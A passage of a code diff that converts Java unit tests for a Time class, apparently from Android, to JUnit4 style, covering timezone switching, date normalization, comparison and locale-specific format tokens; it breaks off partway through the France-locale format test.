             Fields.setDateTime(expected, test.year2, test.month2, test.day2, test.hour2,
                     test.minute2, 0);
-            Fields.assertTimeEquals("day test index " + index + ", normalize():",
+            Fields.verifyTimeEquals("day test index " + index + ", normalize():",
                     Fields.MAIN_DATE_TIME, expected, local);
 
             local.set(0, test.minute1, test.hour1, test.day1, test.month1, test.year1);
@@ -376,7 +393,7 @@
             expected = new Time(tz);
             Fields.setDateTime(expected, test.year2, test.month2, test.day2, test.hour2,
                     test.minute2, 0);
-            Fields.assertTimeEquals("day test index " + index + ", toMillis():",
+            Fields.verifyTimeEquals("day test index " + index + ", toMillis():",
                     Fields.MAIN_DATE_TIME, expected, local);
         }
 
@@ -395,7 +412,7 @@
             Fields.setDateTime(expected, test.year2, test.month2, test.day2, test.hour2,
                     test.minute2, 0);
             Fields.setDst(expected, test.dst2 /* isDst */, PstPdt.getUtcOffsetSeconds(test.dst2));
-            Fields.assertTimeEquals("minute test index " + index + ", normalize():",
+            Fields.verifyTimeEquals("minute test index " + index + ", normalize():",
                     Fields.MAIN_DATE_TIME | Fields.DST_FIELDS, expected, local);
 
             local.set(0, test.minute1, test.hour1, test.day1, test.month1, test.year1);
@@ -411,12 +428,13 @@
             Fields.setDateTime(expected, test.year2, test.month2, test.day2, test.hour2,
                     test.minute2, 0);
             Fields.setDst(expected, test.dst2 /* isDst */, PstPdt.getUtcOffsetSeconds(test.dst2));
-            Fields.assertTimeEquals("minute test index " + index + ", toMillis():",
+            Fields.verifyTimeEquals("minute test index " + index + ", toMillis():",
                     Fields.MAIN_DATE_TIME | Fields.DST_FIELDS, expected, local);
         }
     }
 
-    public void testSwitchTimezone_simpleUtc() throws Exception {
+    @Test
+    public void testSwitchTimezone_simpleUtc() {
         String originalTz = Time.TIMEZONE_UTC;
         Time t = new Time(originalTz);
         Fields.set(t, 2006, 9, 5, 12, 0, 0, -1 /* isDst */, 0, 0, 0);
@@ -426,16 +444,17 @@
 
         Time expected1 = new Time(newTz);
         Fields.set(expected1, 2006, 9, 5, 5, 0, 0, 1 /* isDst */, -25200, 277, 4);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
 
         t.switchTimezone(originalTz);
 
         Time expected2 = new Time(originalTz);
         Fields.set(expected2, 2006, 9, 5, 12, 0, 0, 0 /* isDst */, 0, 277, 4);
-        Fields.assertTimeEquals(expected2, t);
+        Fields.verifyTimeEquals(expected2, t);
     }
 
-    public void testSwitchTimezone_standardToStandardTime() throws Exception {
+    @Test
+    public void testSwitchTimezone_standardToStandardTime() {
         String zone1 = "Europe/London";
         String zone2 = "America/Los_Angeles";
 
@@ -447,16 +466,17 @@
 
         Time expected1 = new Time(zone2);
         Fields.set(expected1, 2007, 2, 10, 4, 0, 0, 0 /* isDst */, -28800, 68, 6);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
 
         t.switchTimezone(zone1);
 
         Time expected2 = new Time(zone1);
         Fields.set(expected2, 2007, 2, 10, 12, 0, 0, 0 /* isDst */, 0, 68, 6);
-        Fields.assertTimeEquals(expected2, t);
+        Fields.verifyTimeEquals(expected2, t);
     }
 
-    public void testSwitchTimezone_dstToDstTime() throws Exception {
+    @Test
+    public void testSwitchTimezone_dstToDstTime() {
         String zone1 = "Europe/London";
         String zone2 = "America/Los_Angeles";
 
@@ -468,16 +488,17 @@
 
         Time expected1 = new Time(zone2);
         Fields.set(expected1, 2007, 2, 26, 4, 0, 0, 1 /* isDst */, -25200, 84, 1);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
 
         t.switchTimezone(zone1);
 
         Time expected2 = new Time(zone1);
         Fields.set(expected2, 2007, 2, 26, 12, 0, 0, 1 /* isDst */, 3600, 84, 1);
-        Fields.assertTimeEquals(expected2, t);
+        Fields.verifyTimeEquals(expected2, t);
     }
 
-    public void testSwitchTimezone_standardToDstTime() throws Exception {
+    @Test
+    public void testSwitchTimezone_standardToDstTime() {
         String zone1 = "Europe/London";
         String zone2 = "America/Los_Angeles";
 
@@ -489,16 +510,17 @@
 
         Time expected1 = new Time(zone2);
         Fields.set(expected1, 2007, 2, 24, 5, 0, 0, 1 /* isDst */, -25200, 82, 6);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
 
         t.switchTimezone(zone1);
 
         Time expected2 = new Time(zone1);
         Fields.set(expected2, 2007, 2, 24, 12, 0, 0, 0 /* isDst */, 0, 82, 6);
-        Fields.assertTimeEquals(expected2, t);
+        Fields.verifyTimeEquals(expected2, t);
     }
 
-    public void testSwitchTimezone_sourceDateInvalid() throws Exception {
+    @Test
+    public void testSwitchTimezone_sourceDateInvalid() {
         String zone1 = "Europe/London";
         String zone2 = "America/Los_Angeles";
 
@@ -513,10 +535,11 @@
         // This illustrates why using -1 to indicate a problem, when -1 is in range, is a poor idea.
         Time expected1 = new Time(zone2);
         Fields.set(expected1, 1969, 11, 31, 15, 59, 59, 0 /* isDst */, -28800, 364, 3);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
     }
 
-    public void testSwitchTimezone_dstToStandardTime() throws Exception {
+    @Test
+    public void testSwitchTimezone_dstToStandardTime() {
         String zone1 = "America/Los_Angeles";
         String zone2 = "Europe/London";
 
@@ -528,26 +551,28 @@
 
         Time expected1 = new Time(zone2);
         Fields.set(expected1, 2007, 2, 12, 19, 0, 0, 0 /* isDst */, 0, 70, 1);
-        Fields.assertTimeEquals(expected1, t);
+        Fields.verifyTimeEquals(expected1, t);
 
         t.switchTimezone(zone1);
 
         Time expected2 = new Time(zone1);
         Fields.set(expected2, 2007, 2, 12, 12, 0, 0, 1 /* isDst */, -25200, 70, 1);
-        Fields.assertTimeEquals(expected2, t);
+        Fields.verifyTimeEquals(expected2, t);
     }
 
-    public void testCtor() throws Exception {
+    @Test
+    public void testCtor() {
         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
         assertEquals(tz, t.timezone);
 
         Time expected = new Time(tz);
         Fields.set(expected, 1970, 0, 1, 0, 0, 0, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testGetActualMaximum() throws Exception {
+    @Test
+    public void testGetActualMaximum() {
         Time t = new Time(Time.TIMEZONE_UTC);
         assertEquals(59, t.getActualMaximum(Time.SECOND));
         assertEquals(59, t.getActualMaximum(Time.MINUTE));
@@ -576,21 +601,22 @@
         final int[] DAYS_PER_MONTH = {
                 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
         };
-        assertMonth(t, DAYS_PER_MONTH);
+        verifyMonth(t, DAYS_PER_MONTH);
 
         t.year = 2000;
         DAYS_PER_MONTH[1] = 29;
-        assertMonth(t, DAYS_PER_MONTH);
+        verifyMonth(t, DAYS_PER_MONTH);
     }
 
-    private void assertMonth(Time t, final int[] DAYS_PER_MONTH) {
+    private void verifyMonth(Time t, final int[] DAYS_PER_MONTH) {
         for (int i = 0; i < t.getActualMaximum(Time.MONTH); i++) {
             t.month = i;
             assertEquals(DAYS_PER_MONTH[i], t.getActualMaximum(Time.MONTH_DAY));
         }
     }
 
-    public void testClear0() throws Exception {
+    @Test
+    public void testClear0() {
         Time t = new Time(Time.getCurrentTimezone());
         t.clear(Time.TIMEZONE_UTC);
         assertEquals(Time.TIMEZONE_UTC, t.timezone);
@@ -607,7 +633,8 @@
         assertEquals(-1, t.isDst);
     }
 
-    public void testClear() throws Exception {
+    @Test
+    public void testClear() {
         Time t = new Time("America/Los_Angeles");
         Fields.set(t, 1, 2, 3, 4, 5, 6, 7 /* isDst */, 8, 9, 10);
 
@@ -615,10 +642,11 @@
 
         Time expected = new Time(Time.TIMEZONE_UTC);
         Fields.set(expected, 0, 0, 0, 0, 0, 0, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testCompare() throws Exception {
+    @Test
+    public void testCompare() {
         String timezone = "America/New_York";
         int[] aDateTimeFields = new int[] { 2005, 2, 3, 4, 5, 6 };
 
@@ -684,32 +712,25 @@
         assertEquals(0, Time.compare(b, a));
     }
 
-    public void testCompareNullFailure() throws Exception {
+    @Test(expected=NullPointerException.class)
+    public void testCompareNullSecond() {
         Time a = new Time(Time.TIMEZONE_UTC);
-
-        try {
-            Time.compare(a, null);
-            fail("Should throw NullPointerException on second argument");
-        } catch (NullPointerException e) {
-            // pass
-        }
-
-        try {
-            Time.compare(null, a);
-            fail("Should throw NullPointerException on first argument");
-        } catch (NullPointerException e) {
-            // pass
-        }
-
-        try {
-            Time.compare(null, null);
-            fail("Should throw NullPointerException because both args are null");
-        } catch (NullPointerException e) {
-            // pass
-        }
+        Time.compare(a, null);
     }
 
-    public void testCompare_invalidDatesAreEqualIfTimezoneDiffers() throws Exception {
+    @Test(expected=NullPointerException.class)
+    public void testCompareNullFirst() {
+        Time a = new Time(Time.TIMEZONE_UTC);
+        Time.compare(null, a);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testCompareNullBoth() {
+        Time.compare(null, null);
+    }
+
+    @Test
+    public void testCompare_invalidDatesAreEqualIfTimezoneDiffers() {
         String timezone = "America/New_York";
         // This date is outside of the valid set of dates that can be calculated so toMillis()
         // returns -1.
@@ -741,40 +762,45 @@
         assertEquals(0, Time.compare(a, b));
     }
 
-    public void testFormat() throws Exception {
+    @Test
+    public void testFormat() {
         Time t = new Time(Time.TIMEZONE_UTC);
         String r = t.format("%Y%m%dT%H%M%S");
         assertEquals("19700101T000000", r);
     }
 
+    @Test
     public void testFormat_null() {
         Time t = new Time(Time.TIMEZONE_UTC);
         assertEquals(t.format("%c"), t.format(null));
     }
 
-    public void testFormat_badPatterns() throws Exception {
+    @Test
+    public void testFormat_badPatterns() {
         Time t = new Time(Time.TIMEZONE_UTC);
-        assertFormatEquals(t, "%~Y", "~Y");
-        assertFormatEquals(t, "%", "%");
+        verifyFormatEquals(t, "%~Y", "~Y");
+        verifyFormatEquals(t, "%", "%");
     }
 
-    public void testFormat_doesNotNormalize() throws Exception {
+    @Test
+    public void testFormat_doesNotNormalize() {
         Time t = new Time(Time.TIMEZONE_UTC);
         Fields.set(t, 2005, 13, 32, -1, -1, -1, -2, -2, -2, -2);
 
         Time tCopy = new Time(t);
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
 
-        assertFormatEquals(t, "%Y%m%dT%H%M%S", "20051432T-1-1-1");
+        verifyFormatEquals(t, "%Y%m%dT%H%M%S", "20051432T-1-1-1");
 
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
     }
 
-    private static void assertFormatEquals(Time t, String formatArg, String expected) {
+    private static void verifyFormatEquals(Time t, String formatArg, String expected) {
         assertEquals(expected, t.format(formatArg));
     }
 
-    public void testFormat_tokensUkLocale() throws Exception {
+    @Test
+    public void testFormat_tokensUkLocale() {
         if (!changeJavaAndAndroidLocale(Locale.UK, false /* force */)) {
             Log.w(TAG, "Skipping testFormat_tokensUkLocale: no assets found");
             return;
@@ -784,92 +810,93 @@
         Fields.setDateTime(t, 2005, 5, 1, 12, 30, 15);
 
         // Prove the un-normalized fields are used.
-        assertFormatEquals(t, "%A", "Sunday");
+        verifyFormatEquals(t, "%A", "Sunday");
 
         // Set fields like weekday.
         t.normalize(true);
 
-        assertFormatEquals(t, "%A", "Wednesday");
-        assertFormatEquals(t, "%a", "Wed");
-        assertFormatEquals(t, "%B", "June");
-        assertFormatEquals(t, "%b", "Jun");
-        assertFormatEquals(t, "%C", "20");
-        assertFormatEquals(t, "%c", "1 Jun 2005, 12:30:15");
-        assertFormatEquals(t, "%D", "06/01/05");
-        assertFormatEquals(t, "%d", "01");
-        assertFormatEquals(t, "%E", "E");
-        assertFormatEquals(t, "%e", " 1");
-        assertFormatEquals(t, "%F", "2005-06-01");
-        assertFormatEquals(t, "%G", "2005");
-        assertFormatEquals(t, "%g", "05");
-        assertFormatEquals(t, "%H", "12");
-        assertFormatEquals(t, "%h", "Jun");
-        assertFormatEquals(t, "%I", "12");
-        assertFormatEquals(t, "%j", "152");
-        assertFormatEquals(t, "%K", "K");
-        assertFormatEquals(t, "%k", "12");
-        assertFormatEquals(t, "%l", "12");
-        assertFormatEquals(t, "%M", "30");
-        assertFormatEquals(t, "%m", "06");
-        assertFormatEquals(t, "%n", "\n");
-        assertFormatEquals(t, "%O", "O");
-        assertFormatEquals(t, "%p", "pm");
-        assertFormatEquals(t, "%P", "pm");
-        assertFormatEquals(t, "%R", "12:30");
-        assertFormatEquals(t, "%r", "12:30:15 pm");
-        assertFormatEquals(t, "%S", "15");
+        verifyFormatEquals(t, "%A", "Wednesday");
+        verifyFormatEquals(t, "%a", "Wed");
+        verifyFormatEquals(t, "%B", "June");
+        verifyFormatEquals(t, "%b", "Jun");
+        verifyFormatEquals(t, "%C", "20");
+        verifyFormatEquals(t, "%c", "1 Jun 2005, 12:30:15");
+        verifyFormatEquals(t, "%D", "06/01/05");
+        verifyFormatEquals(t, "%d", "01");
+        verifyFormatEquals(t, "%E", "E");
+        verifyFormatEquals(t, "%e", " 1");
+        verifyFormatEquals(t, "%F", "2005-06-01");
+        verifyFormatEquals(t, "%G", "2005");
+        verifyFormatEquals(t, "%g", "05");
+        verifyFormatEquals(t, "%H", "12");
+        verifyFormatEquals(t, "%h", "Jun");
+        verifyFormatEquals(t, "%I", "12");
+        verifyFormatEquals(t, "%j", "152");
+        verifyFormatEquals(t, "%K", "K");
+        verifyFormatEquals(t, "%k", "12");
+        verifyFormatEquals(t, "%l", "12");
+        verifyFormatEquals(t, "%M", "30");
+        verifyFormatEquals(t, "%m", "06");
+        verifyFormatEquals(t, "%n", "\n");
+        verifyFormatEquals(t, "%O", "O");
+        verifyFormatEquals(t, "%p", "pm");
+        verifyFormatEquals(t, "%P", "pm");
+        verifyFormatEquals(t, "%R", "12:30");
+        verifyFormatEquals(t, "%r", "12:30:15 pm");
+        verifyFormatEquals(t, "%S", "15");
         // The original C implementation uses the (native) system default TZ, not the timezone of
         // the Time to calculate this and was therefore not stable. This changed to use the Time's
         // timezone when the Time class was re-written in Java.
-        assertFormatEquals(t, "%s", "1117625415");
-        assertFormatEquals(t, "%T", "12:30:15");
-        assertFormatEquals(t, "%t", "\t");
-        assertFormatEquals(t, "%U", "22");
-        assertFormatEquals(t, "%u", "3");
-        assertFormatEquals(t, "%V", "22");
-        assertFormatEquals(t, "%v", " 1-Jun-2005");
-        assertFormatEquals(t, "%W", "22");
-        assertFormatEquals(t, "%w", "3");
-        assertFormatEquals(t, "%X", "12:30:15");
-        assertFormatEquals(t, "%x", "1 June 2005");
-        assertFormatEquals(t, "%y", "05");
-        assertFormatEquals(t, "%Y", "2005");
-        assertFormatEquals(t, "%Z", "BST");
-        assertFormatEquals(t, "%z", "+0100");
-        assertFormatEquals(t, "%+", "Wed Jun  1 12:30:15 BST 2005");
-        assertFormatEquals(t, "%%", "%");
+        verifyFormatEquals(t, "%s", "1117625415");
+        verifyFormatEquals(t, "%T", "12:30:15");
+        verifyFormatEquals(t, "%t", "\t");
+        verifyFormatEquals(t, "%U", "22");
+        verifyFormatEquals(t, "%u", "3");
+        verifyFormatEquals(t, "%V", "22");
+        verifyFormatEquals(t, "%v", " 1-Jun-2005");
+        verifyFormatEquals(t, "%W", "22");
+        verifyFormatEquals(t, "%w", "3");
+        verifyFormatEquals(t, "%X", "12:30:15");
+        verifyFormatEquals(t, "%x", "1 June 2005");
+        verifyFormatEquals(t, "%y", "05");
+        verifyFormatEquals(t, "%Y", "2005");
+        verifyFormatEquals(t, "%Z", "BST");
+        verifyFormatEquals(t, "%z", "+0100");
+        verifyFormatEquals(t, "%+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%%", "%");
 
         // Modifiers
 
-        assertFormatEquals(t, "%EC", "20");
-        assertFormatEquals(t, "%OC", "20");
+        verifyFormatEquals(t, "%EC", "20");
+        verifyFormatEquals(t, "%OC", "20");
 
-        assertFormatEquals(t, "%_+", "Wed Jun  1 12:30:15 BST 2005");
-        assertFormatEquals(t, "%-+", "Wed Jun  1 12:30:15 BST 2005");
-        assertFormatEquals(t, "%0+", "Wed Jun  1 12:30:15 BST 2005");
-        assertFormatEquals(t, "%^+", "Wed Jun  1 12:30:15 BST 2005");
-        assertFormatEquals(t, "%#+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%_+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%-+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%0+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%^+", "Wed Jun  1 12:30:15 BST 2005");
+        verifyFormatEquals(t, "%#+", "Wed Jun  1 12:30:15 BST 2005");
 
-        assertFormatEquals(t, "%_A", "Wednesday");
-        assertFormatEquals(t, "%-A", "Wednesday");
-        assertFormatEquals(t, "%0A", "Wednesday");
-        assertFormatEquals(t, "%^A", "WEDNESDAY");
-        assertFormatEquals(t, "%#A", "wEDNESDAY");
+        verifyFormatEquals(t, "%_A", "Wednesday");
+        verifyFormatEquals(t, "%-A", "Wednesday");
+        verifyFormatEquals(t, "%0A", "Wednesday");
+        verifyFormatEquals(t, "%^A", "WEDNESDAY");
+        verifyFormatEquals(t, "%#A", "wEDNESDAY");
 
-        assertFormatEquals(t, "%_Y", "20 5");
-        assertFormatEquals(t, "%-Y", "205");
-        assertFormatEquals(t, "%0Y", "2005");
-        assertFormatEquals(t, "%^Y", "2005");
-        assertFormatEquals(t, "%#Y", "2005");
+        verifyFormatEquals(t, "%_Y", "20 5");
+        verifyFormatEquals(t, "%-Y", "205");
+        verifyFormatEquals(t, "%0Y", "2005");
+        verifyFormatEquals(t, "%^Y", "2005");
+        verifyFormatEquals(t, "%#Y", "2005");
 
-        assertFormatEquals(t, "%_d", " 1");
-        assertFormatEquals(t, "%-d", "1");
-        assertFormatEquals(t, "%0d", "01");
-        assertFormatEquals(t, "%^d", "01");
-        assertFormatEquals(t, "%#d", "01");
+        verifyFormatEquals(t, "%_d", " 1");
+        verifyFormatEquals(t, "%-d", "1");
+        verifyFormatEquals(t, "%0d", "01");
+        verifyFormatEquals(t, "%^d", "01");
+        verifyFormatEquals(t, "%#d", "01");
     }
 
-    public void testFormat_tokensUsLocale() throws Exception {
+    @Test
+    public void testFormat_tokensUsLocale() {
         if (!changeJavaAndAndroidLocale(Locale.US, false /* force */)) {
             Log.w(TAG, "Skipping testFormat_tokensUSLocale: no assets found");
             return;
@@ -879,92 +906,93 @@
         Fields.setDateTime(t, 2005, 5, 1, 12, 30, 15);
 
         // Prove the un-normalized fields are used.
-        assertFormatEquals(t, "%A", "Sunday");
+        verifyFormatEquals(t, "%A", "Sunday");
 
         // Set fields like weekday.
         t.normalize(true);
 
-        assertFormatEquals(t, "%A", "Wednesday");
-        assertFormatEquals(t, "%a", "Wed");
-        assertFormatEquals(t, "%B", "June");
-        assertFormatEquals(t, "%b", "Jun");
-        assertFormatEquals(t, "%C", "20");
-        assertFormatEquals(t, "%c", "Jun 1, 2005, 12:30:15 PM");
-        assertFormatEquals(t, "%D", "06/01/05");
-        assertFormatEquals(t, "%d", "01");
-        assertFormatEquals(t, "%E", "E");
-        assertFormatEquals(t, "%e", " 1");
-        assertFormatEquals(t, "%F", "2005-06-01");
-        assertFormatEquals(t, "%G", "2005");
-        assertFormatEquals(t, "%g", "05");
-        assertFormatEquals(t, "%H", "12");
-        assertFormatEquals(t, "%h", "Jun");
-        assertFormatEquals(t, "%I", "12");
-        assertFormatEquals(t, "%j", "152");
-        assertFormatEquals(t, "%K", "K");
-        assertFormatEquals(t, "%k", "12");
-        assertFormatEquals(t, "%l", "12");
-        assertFormatEquals(t, "%M", "30");
-        assertFormatEquals(t, "%m", "06");
-        assertFormatEquals(t, "%n", "\n");
-        assertFormatEquals(t, "%O", "O");
-        assertFormatEquals(t, "%p", "PM");
-        assertFormatEquals(t, "%P", "pm");
-        assertFormatEquals(t, "%R", "12:30");
-        assertFormatEquals(t, "%r", "12:30:15 PM");
-        assertFormatEquals(t, "%S", "15");
+        verifyFormatEquals(t, "%A", "Wednesday");
+        verifyFormatEquals(t, "%a", "Wed");
+        verifyFormatEquals(t, "%B", "June");
+        verifyFormatEquals(t, "%b", "Jun");
+        verifyFormatEquals(t, "%C", "20");
+        verifyFormatEquals(t, "%c", "Jun 1, 2005, 12:30:15 PM");
+        verifyFormatEquals(t, "%D", "06/01/05");
+        verifyFormatEquals(t, "%d", "01");
+        verifyFormatEquals(t, "%E", "E");
+        verifyFormatEquals(t, "%e", " 1");
+        verifyFormatEquals(t, "%F", "2005-06-01");
+        verifyFormatEquals(t, "%G", "2005");
+        verifyFormatEquals(t, "%g", "05");
+        verifyFormatEquals(t, "%H", "12");
+        verifyFormatEquals(t, "%h", "Jun");
+        verifyFormatEquals(t, "%I", "12");
+        verifyFormatEquals(t, "%j", "152");
+        verifyFormatEquals(t, "%K", "K");
+        verifyFormatEquals(t, "%k", "12");
+        verifyFormatEquals(t, "%l", "12");
+        verifyFormatEquals(t, "%M", "30");
+        verifyFormatEquals(t, "%m", "06");
+        verifyFormatEquals(t, "%n", "\n");
+        verifyFormatEquals(t, "%O", "O");
+        verifyFormatEquals(t, "%p", "PM");
+        verifyFormatEquals(t, "%P", "pm");
+        verifyFormatEquals(t, "%R", "12:30");
+        verifyFormatEquals(t, "%r", "12:30:15 PM");
+        verifyFormatEquals(t, "%S", "15");
         // The original C implementation uses the (native) system default TZ, not the timezone of
         // the Time to calculate this and was therefore not stable. This changed to use the Time's
         // timezone when the Time class was re-written in Java.
-        assertFormatEquals(t, "%s", "1117643415");
-        assertFormatEquals(t, "%T", "12:30:15");
-        assertFormatEquals(t, "%t", "\t");
-        assertFormatEquals(t, "%U", "22");
-        assertFormatEquals(t, "%u", "3");
-        assertFormatEquals(t, "%V", "22");
-        assertFormatEquals(t, "%v", " 1-Jun-2005");
-        assertFormatEquals(t, "%W", "22");
-        assertFormatEquals(t, "%w", "3");
-        assertFormatEquals(t, "%X", "12:30:15 PM");
-        assertFormatEquals(t, "%x", "June 1, 2005");
-        assertFormatEquals(t, "%y", "05");
-        assertFormatEquals(t, "%Y", "2005");
-        assertFormatEquals(t, "%Z", "EDT");
-        assertFormatEquals(t, "%z", "-0400");
-        assertFormatEquals(t, "%+", "Wed Jun  1 12:30:15 EDT 2005");
-        assertFormatEquals(t, "%%", "%");
+        verifyFormatEquals(t, "%s", "1117643415");
+        verifyFormatEquals(t, "%T", "12:30:15");
+        verifyFormatEquals(t, "%t", "\t");
+        verifyFormatEquals(t, "%U", "22");
+        verifyFormatEquals(t, "%u", "3");
+        verifyFormatEquals(t, "%V", "22");
+        verifyFormatEquals(t, "%v", " 1-Jun-2005");
+        verifyFormatEquals(t, "%W", "22");
+        verifyFormatEquals(t, "%w", "3");
+        verifyFormatEquals(t, "%X", "12:30:15 PM");
+        verifyFormatEquals(t, "%x", "June 1, 2005");
+        verifyFormatEquals(t, "%y", "05");
+        verifyFormatEquals(t, "%Y", "2005");
+        verifyFormatEquals(t, "%Z", "EDT");
+        verifyFormatEquals(t, "%z", "-0400");
+        verifyFormatEquals(t, "%+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%%", "%");
 
         // Modifiers
 
-        assertFormatEquals(t, "%EC", "20");
-        assertFormatEquals(t, "%OC", "20");
+        verifyFormatEquals(t, "%EC", "20");
+        verifyFormatEquals(t, "%OC", "20");
 
-        assertFormatEquals(t, "%_+", "Wed Jun  1 12:30:15 EDT 2005");
-        assertFormatEquals(t, "%-+", "Wed Jun  1 12:30:15 EDT 2005");
-        assertFormatEquals(t, "%0+", "Wed Jun  1 12:30:15 EDT 2005");
-        assertFormatEquals(t, "%^+", "Wed Jun  1 12:30:15 EDT 2005");
-        assertFormatEquals(t, "%#+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%_+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%-+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%0+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%^+", "Wed Jun  1 12:30:15 EDT 2005");
+        verifyFormatEquals(t, "%#+", "Wed Jun  1 12:30:15 EDT 2005");
 
-        assertFormatEquals(t, "%_A", "Wednesday");
-        assertFormatEquals(t, "%-A", "Wednesday");
-        assertFormatEquals(t, "%0A", "Wednesday");
-        assertFormatEquals(t, "%^A", "WEDNESDAY");
-        assertFormatEquals(t, "%#A", "wEDNESDAY");
+        verifyFormatEquals(t, "%_A", "Wednesday");
+        verifyFormatEquals(t, "%-A", "Wednesday");
+        verifyFormatEquals(t, "%0A", "Wednesday");
+        verifyFormatEquals(t, "%^A", "WEDNESDAY");
+        verifyFormatEquals(t, "%#A", "wEDNESDAY");
 
-        assertFormatEquals(t, "%_Y", "20 5");
-        assertFormatEquals(t, "%-Y", "205");
-        assertFormatEquals(t, "%0Y", "2005");
-        assertFormatEquals(t, "%^Y", "2005");
-        assertFormatEquals(t, "%#Y", "2005");
+        verifyFormatEquals(t, "%_Y", "20 5");
+        verifyFormatEquals(t, "%-Y", "205");
+        verifyFormatEquals(t, "%0Y", "2005");
+        verifyFormatEquals(t, "%^Y", "2005");
+        verifyFormatEquals(t, "%#Y", "2005");
 
-        assertFormatEquals(t, "%_d", " 1");
-        assertFormatEquals(t, "%-d", "1");
-        assertFormatEquals(t, "%0d", "01");
-        assertFormatEquals(t, "%^d", "01");
-        assertFormatEquals(t, "%#d", "01");
+        verifyFormatEquals(t, "%_d", " 1");
+        verifyFormatEquals(t, "%-d", "1");
+        verifyFormatEquals(t, "%0d", "01");
+        verifyFormatEquals(t, "%^d", "01");
+        verifyFormatEquals(t, "%#d", "01");
     }
 
-    public void testFormat_tokensFranceLocale() throws Exception {
+    @Test
+    public void testFormat_tokensFranceLocale() {
         if (!changeJavaAndAndroidLocale(Locale.FRANCE, false /* force */)) {
             Log.w(TAG, "Skipping testFormat_tokensFranceLocale: no assets found");
             return;
@@ -974,92 +1002,93 @@
         Fields.setDateTime(t, 2005, 5, 1, 12, 30, 15);
 
         // Prove the un-normalized fields are used.
-        assertFormatEquals(t, "%A", "dimanche");
+        verifyFormatEquals(t, "%A", "dimanche");
 
         // Set fields like weekday.
         t.normalize(true);
 
-        assertFormatEquals(t, "%A", "mercredi");
-        assertFormatEquals(t, "%a", "mer.");
-        assertFormatEquals(t, "%B", "juin");
-        assertFormatEquals(t, "%b", "juin");
-        assertFormatEquals(t, "%C", "20");
-        assertFormatEquals(t, "%c", "1 juin 2005 à 12:30:15");
-        assertFormatEquals(t, "%D", "06/01/05");
-        assertFormatEquals(t, "%d", "01");
-        assertFormatEquals(t, "%E", "E");
-        assertFormatEquals(t, "%e", " 1");
-        assertFormatEquals(t, "%F", "2005-06-01");
-        assertFormatEquals(t, "%G", "2005");
-        assertFormatEquals(t, "%g", "05");
-        assertFormatEquals(t, "%H", "12");
-        assertFormatEquals(t, "%h", "juin");
-        assertFormatEquals(t, "%I", "12");
-        assertFormatEquals(t, "%j", "152");
-        assertFormatEquals(t, "%K", "K");
-        assertFormatEquals(t, "%k", "12");
-        assertFormatEquals(t, "%l", "12");
-        assertFormatEquals(t, "%M", "30");
-        assertFormatEquals(t, "%m", "06");
-        assertFormatEquals(t, "%n", "\n");
-        assertFormatEquals(t, "%O", "O");
-        assertFormatEquals(t, "%p", "PM");
-        assertFormatEquals(t, "%P", "pm");
-        assertFormatEquals(t, "%R", "12:30");
-        assertFormatEquals(t, "%r", "12:30:15 PM");
-        assertFormatEquals(t, "%S", "15");
+        verifyFormatEquals(t, "%A", "mercredi");
+        verifyFormatEquals(t, "%a", "mer.");
+        verifyFormatEquals(t, "%B", "juin");
+        verifyFormatEquals(t, "%b", "juin");
+        verifyFormatEquals(t, "%C", "20");
+        verifyFormatEquals(t, "%c", "1 juin 2005 à 12:30:15");
+        verifyFormatEquals(t, "%D", "06/01/05");
+        verifyFormatEquals(t, "%d", "01");
+        verifyFormatEquals(t, "%E", "E");
+        verifyFormatEquals(t, "%e", " 1");
+        verifyFormatEquals(t, "%F", "2005-06-01");
+        verifyFormatEquals(t, "%G", "2005");
+        verifyFormatEquals(t, "%g", "05");
+        verifyFormatEquals(t, "%H", "12");
+        verifyFormatEquals(t, "%h", "juin");
+        verifyFormatEquals(t, "%I", "12");
+        verifyFormatEquals(t, "%j", "152");
+        verifyFormatEquals(t, "%K", "K");
+        verifyFormatEquals(t, "%k", "12");
+        verifyFormatEquals(t, "%l", "12");
+        verifyFormatEquals(t, "%M", "30");
+        verifyFormatEquals(t, "%m", "06");
+        verifyFormatEquals(t, "%n", "\n");
+        verifyFormatEquals(t, "%O", "O");
+        verifyFormatEquals(t, "%p", "PM");
+        verifyFormatEquals(t, "%P", "pm");
+        verifyFormatEquals(t, "%R", "12:30");
+        verifyFormatEquals(t, "%r", "12:30:15 PM");
+        verifyFormatEquals(t, "%S", "15");
         // The original C implementation uses the (native) system default TZ, not the timezone of
         // the Time to calculate this and was therefore not stable. This changed to use the Time's
         // timezone when the Time class was re-written in Java.
-        assertFormatEquals(t, "%s", "1117621815");
-        assertFormatEquals(t, "%T", "12:30:15");
-        assertFormatEquals(t, "%t", "\t");
-        assertFormatEquals(t, "%U", "22");
-        assertFormatEquals(t, "%u", "3");
-        assertFormatEquals(t, "%V", "22");
-        assertFormatEquals(t, "%v", " 1-juin-2005");
